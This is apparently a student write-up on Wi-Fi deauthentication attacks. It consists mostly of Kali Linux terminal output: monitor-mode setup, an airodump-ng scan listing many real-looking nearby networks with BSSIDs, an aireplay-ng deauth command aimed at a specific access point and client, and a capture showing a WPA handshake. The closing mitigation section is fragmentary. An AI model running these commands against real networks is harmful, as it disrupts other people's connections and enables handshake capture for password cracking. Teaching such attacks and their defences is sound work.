

WiFi Jamming Attack and Mitigation

1. Introduction:

A Wi-Fi jamming attack aims to disrupt the normal functioning of a wireless network by sending interference signals that cause network instability or force devices to disconnect. One common form of this attack is the **deauthentication attack**, where fake deauthentication frames are sent to disconnect devices from the network.

This document details the process of carrying out a jamming attack using **deauthentication packets**, the observed impact on the network, and potential mitigation strategies.

2. Attack Methodology:

a. Tools Used:

- **Aircrack-ng Suite:** Includes tools like **aireplay-ng** for sending deauthentication packets.
- **Wireshark:** For monitoring the network and analyzing the attack.

b. Steps to Perform the Attack:

1. Enable Monitor Mode:

- The wireless interface must be put into **monitor mode** to capture and inject Wi-Fi packets. This is done using **airmon-ng** or **iwconfig**.
-

2. Capture Network Traffic:

- Use **airodump-ng** to capture the network traffic and identify the target access point (AP) and the connected clients.
- I should find the target AP's BSSID and the client to be disconnected.

3. Send Deauthentication Packets:

- Use **aireplay-ng** to send deauthentication packets to the target AP and disconnect a specific client.
-

4. Monitor the Impact with Wireshark:

Using **Wireshark** to observe the deauthentication packets and the network behavior. Look for deauthentication frames in the **Info** column, and verified that the targeted client is disconnected.

```
File Actions Edit View Help

(ramya@kali)~$ iw wlan0 info
Interface wlan0
  ifindex 3
  wdev 0x1
  addr e2:84:dc:0d:98:b0
  type managed
  wiphy 0
  txpower -100.00 dBm

(ramya@kali)~$ sudo airmon-ng start wlan0
[sudo] password for ramya:

Found 2 processes that could cause trouble.
kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  585 NetworkManager
 1424 wpa_supplicant

PHY   Interface   Driver      Chipset
phy0   wlan0         rtl8821au   Realtek Semiconductor Corp. Realtek 8812AU/8821AU 802.11ac WLAN Adapter [USB Wireless Dual-Band Adapter 2.4/5Ghz]
        (monitor mode enabled)

(ramya@kali)~$ sudo airmon-ng check kill

Killing these processes:

  PID Name
 1424 wpa_supplicant

(ramya@kali)~$ sudo airmon-ng start wlan0

PHY   Interface   Driver      Chipset
phy0   wlan0         rtl8821au   Realtek Semiconductor Corp. Realtek 8812AU/8821AU 802.11ac WLAN Adapter [USB Wireless Dual-Band Adapter 2.4/5Ghz]
        (monitor mode enabled)
```

```
File Actions Edit View Help

(ramya@kali)~$ sudo airodump-ng wlan0

CH 5 [ Elapsed: 2 mins ][ 2024-12-04 21:52 ]

BSSID              PWR  Beacons    #Data, #S/CH  MB  ENC  CIPHER  AUTH  ESSID
20:A6:CD:ED:87:A0   -1    0           3  0  1  -1    OPN             <length: 0>
A0:CA:63:63:98:1E   -89    5           0  0  1  135   WPA2 COMP  PSK    [range]_E30AJ77113617H
12:E8:A7:8E:1D:5B   -86    2           0  0  6   65    WPA2 COMP  PSK    Audi_MML_7858
A0:65:A3:18:58:97   -86    0           0  0  6   195   WPA2 COMP  PSK    24W1s3p7-56
AC:19:5D:38:08:38   -92    1           1  0  1  260   WPA2 COMP  PSK    SpectrumSetup-32
00:23:8B:FF:94:73   -1    0           0  0  -1  -1             <length: 0>
78:6A:1F:67:87:52   -75    1           3  0  1  360   WPA2 COMP  PSK    ARRIS-B669
C8:C6:FE:D2:DE:67   -76    2           0  0  6  360   OPN             <length: 0>
2C:E4:0C:07:86:A8   -88    31          0  0  11  540   WPA2 COMP  PSK    Verizon_FCF963
08:33:ED:FA:85:2D   -87    16          0  0  6  720   WPA2 COMP  PSK    Its lit 19
9A:9C:27:D7:9A:47   -85    4           2  0  11  540   WPA2 COMP  PSK    NSA Surveillance Team
74:93:DA:A4:63:11   -85    49          0  0  1  720   WPA2 COMP  PSK    wifiofelia
30:93:BC:7C:CF:FE   -84    21          4  0  6   195   WPA2 COMP  PSK    MySpectrumWiFi8-2G
C8:C6:FE:D2:DE:65   -81    2           0  0  6  360   WPA2 COMP  PSK    Catalina
A0:7F:68:24:36:01   -83    11          0  0  11  260   WPA2 COMP  PSK    SpectrumSetup-36CB
AC:84:C9:88:8D:9E   -1    0           0  0  11  -1             <length: 0>
B4:B0:24:D8:27:02   -81    74          0  0  1  130   WPA2 COMP  PSK    SpectrumSetup-43_EXT
C8:C6:FE:D2:84:25   -56    92          1  0  6  360   WPA2 COMP  PSK    Catalina
C8:C6:FE:D2:84:27   -53    91          0  0  6  360   OPN             <length: 0>
74:37:5F:DA:C2:46   -85    33          0  0  6  720   WPA2 COMP  PSK    SpectrumSetup-49
A4:07:33:12:93:18   -69    98          7  0  6  720   WPA2 COMP  PSK    SpectrumSetup-8A
C8:C6:FE:D3:A2:85   -67    98          0  0  6  360   WPA2 COMP  PSK    Catalina
C8:C6:FE:D3:A2:87   -65    95          0  0  6  360   OPN             <length: 0>
64:67:72:16:EA:8F   -85    49          0  0  6  720   WPA2 COMP  PSK    MHome
C8:C6:FE:D2:84:23   -53    87    15    0  6  360   WPA3 COMP  SAE    <length: 0>
C8:C6:FE:D2:DE:63   -79    1         6  0  6  360   WPA3 COMP  SAE    <length: 0>
C8:C6:FE:D3:A2:83   -68    91          0  0  6  360   WPA3 COMP  SAE    <length: 0>
7C:D8:98:18:1E:97   -84    171         0  0  11  720   WPA2 COMP  PSK    MySpectrumWiFi9-2G
74:27:5F:09:68:60   -84    32          0  0  11  720   WPA2 COMP  PSK    PozueloFI
E0:1F:2B:74:87:83   -85    136         0  0  11  720   WPA3 COMP  SAE    Caltech_Housing_Office
64:67:72:68:3A:FD   -77    77          2  0  11  720   WPA2 COMP  PSK    SpectrumSetup-FB
74:27:5F:08:1C:D7   -76    79          0  0  11  720   WPA2 COMP  PSK    RotatoBuilding
2C:30:33:FC:97:0F   -85    104         0  0  11  195   WPA2 COMP  PSK    1025DELAR2
F8:58:38:27:A4:13   -47    85          2  0  11  720   WPA2 COMP  PSK    SpectrumSetup-15
12:59:32:02:27:38   -86    17          0  0  11  65    WPA2 COMP  PSK    <length: 0>
C8:C6:FE:D2:DE:6E   -1    0           0  0  -1  -1             <length: 0>
C8:C6:FE:D2:84:2E   -1    0           0  0  -1  -1             <length: 0>
C8:23:51:93:1A:50   -48    187         2  0  4  360   WPA2 COMP  PSK    eSgoLant
84:1E:A3:31:64:4E   -80    269         0  0  6   195   WPA2 COMP  PSK    SpectrumSetup-48
94:18:65:87:CD:85   -81    137         0  0  3  130   WPA2 COMP  PSK    NETGEAR79
22:23:51:93:1A:50   -48    138         0  0  4  360   WPA2 COMP  PSK    <length: 0>
```

```
File Actions Edit View Help
(ramya@kali)-[~]
└─$ sudo aireplay-ng --deauth 10 -a F8:5B:3B:27:AA:13 -c 48:E1:E9:3D:D5:CD wlan0

[sudo] password for ramya:
21:57:23 Waiting for beacon frame (BSSID: F8:5B:3B:27:AA:13) on channel 11
21:57:24 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [33163 ACKs]
21:57:24 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [67168 ACKs]
21:57:25 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [64166 ACKs]
21:57:26 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [36159 ACKs]
21:57:27 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [60172 ACKs]
21:57:28 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [65166 ACKs]
21:57:28 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [50163 ACKs]
21:57:29 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [32164 ACKs]
21:57:30 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [21170 ACKs]
21:57:31 Sending 64 directed DeAuth (code 7), STMAC: [48:E1:E9:3D:D5:CD] [39174 ACKs]

(ramya@kali)-[~]
└─$ sudo airodump-ng wlan0
```

```
File Actions Edit View Help
22:23:51:20:1A:80 -48 330 0 0 4 360 WPA2 COMP PSK <length: 0>
C8:C6:FE:D3:A2:0E -1 0 0 0 -1 -1 <length: 0>
Quitting...

(ramya@kali)-[~]
└─$ sudo airodump-ng --bssid F8:5B:3B:27:AA:13 --channel 11 --write Spectrum15 wlan0

21:52:56 Created capture file "Spectrum15-01.cap".

CH 11 [( Elapsed: 43 mins [( 2024-12-04 22:36 [( WPA handshake: F8:5B:3B:27:AA:13

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F8:5B:3B:27:AA:13 -39 0 18734 8333 2 11 720 WPA2 COMP PSK SpectrumSetup-15
BSSID STATION PWR Rate Lost Frames Notes Probes
F8:5B:3B:27:AA:13 76:34:1E:DF:9D:4C -87 6e- 6 0 7722
F8:5B:3B:27:AA:13 48:E1:E9:3D:D5:CD -71 6e- 1e 0 1533 EAPOL SpectrumSetup-15
```


Benefit: An adversary cannot readily decode the traffic or cause as much disruption even if they jam the network.

3. What Channel Hopping Does: If the router notices interference (such as jamming), it can instantly switch the communication channel.

Benefit: Because the network may move to a fresh, less jammed channel, jamming attempts that target a single channel will be less successful.